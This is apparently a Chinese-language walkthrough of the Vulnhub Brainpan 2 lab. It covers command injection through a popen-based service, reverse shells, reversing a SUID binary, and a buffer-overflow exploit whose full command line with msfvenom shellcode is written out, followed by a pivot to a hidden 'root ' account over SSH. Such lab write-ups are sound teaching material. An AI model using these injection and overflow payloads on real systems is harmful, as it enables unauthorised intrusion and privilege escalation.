Description
Vulnhub
靶机Brainpan
系列的第二台,有点小难度,还有点烧脑。
Step 1
首先确定靶机IP:
扫描开放端口:
Step 2
和brainpan一样,9999端口开放了一个相似的程序,10000端口是个静态页面。
扫描目录,还是有bin目录:
依然有个brainpan.exe
文件,通过file
命令发现是jpeg
格式的图片:
改后缀名打开后发现是超级玛丽……
可是通过隐写或者夹层等多种方式也无法在其中找到任何有用的信息,只能回头去看9999端口的服务。
通过多次尝试,原来登录口令就是GUEST
:
HELP
命令查看各个命令内容:
通过FILES
指令列出文件:
通过VIEW
指令在notes.txt
中发现是通过popen(“command”, “r”)
实现的各种功能,猜测VIEW
指令的实现方式是popen(“cat <filename>”, “r”)
。
尝试通过";"
绕过实现任意命令执行:
执行python反弹shell的命令,获得靶机的shell:
Step 3
尝试SUID提权:
最后一个命令看起来比较有趣:
进入对应文件夹下寻找信息:
尝试将msg_root
下载到本地查看:
搭建python建议http服务器,访问http://172.16.83.5:7788/msg_root
即可下载对应文件。
将msg_root
通过IDA逆向:
get_name
函数:
根据get_name
函数,对于username
变量,当我们输入的字节数超过0x11字节
后,并没有“\x00”
这样的结束符,所以输入过长的时候可能造成缓冲区溢出。
当fp(username, message)
;调用save_msg
函数的时候便可以通过控制username
长度实现覆盖EIP
地址,从而跳转到覆盖的位置执行shellcode。
根据get_name
函数的汇编程序,在0x08048729
地址可以控制eax
寄存器,从而通过下一步的call eax
指令实现任意地址跳转。
所以在0x8048729
的位置下个断点:
可以看到程序正常运行的时候,ebp-4
的地址放着save_msg
函数的地址,message部分的内容会被放到0x804a008
的地址上去:
所以我们通过username
字段反复重复0x804a008
这个地址以覆盖eax
,然后将shellcode放到message段即可。
下面还是通过msfvenom
模块生成shellcode:
最后的payload
:
1 | ./msg_root `perl -e 'print "\x04\x08\x08\xa0"x8;'` `perl -e 'print "\xdb\xd1\xd9\x74\x24\xf4\xba\x07\xeb\x6c\xe2\x5d\x2b\xc9\xb1\x0b\x83\xc5\x04\x31\x55\x16\x03\x55\x16\xe2\xf2\x81\x67\xba\x65\x07\x1e\x52\xb8\xcb\x57\x45\xaa\x24\x1b\xe2\x2a\x53\xf4\x90\x43\xcd\x83\xb6\xc1\xf9\x9c\x38\xe5\xf9\xb3\x5a\x8c\x97\xe4\xe9\x26\x68\xac\x5e\x3f\x89\x9f\xe1";'` |
Step 4
执行了payload之后可以看到获得了root权限:
进入/root
文件夹发现两个文件,打开flag.txt
提示没有权限,打开whatif.txt
提示我们还不是root权限?WTF?
那就继续尝试SUID提权:
多了一个brainpan-1.8.exe
文件,查看文件夹寻找信息:
先看一下brainpan.7
文件是什么内容:
文件最后给了提示,我们需要更改brainpan.cfg
文件内容修改地址和端口:
然后运行brainpan-1.8.exe
,再连接上去通过命令执行反弹shell:
接收到puck
用户的shell:
进入/home/puck
文件夹寻找线索,有个.backup
:
进去看一下发现可能是前一个文件夹的备份:
看下唯一有区别的.bash_history
文件:
果然,这里看出来了些端倪。原来是root
和root(space)
两个账号……
厉害的让人无F*UCK说……
通过备份里的.ssh
可以ssh连接root(space)
:
但是却提示连接失败,猜测是换了ssh端口,看下配置文件:
果然端口被改到了2222,再次尝试:
果然是root(space)
账号,再次去查看flag.txt
:
城里人真会玩系列: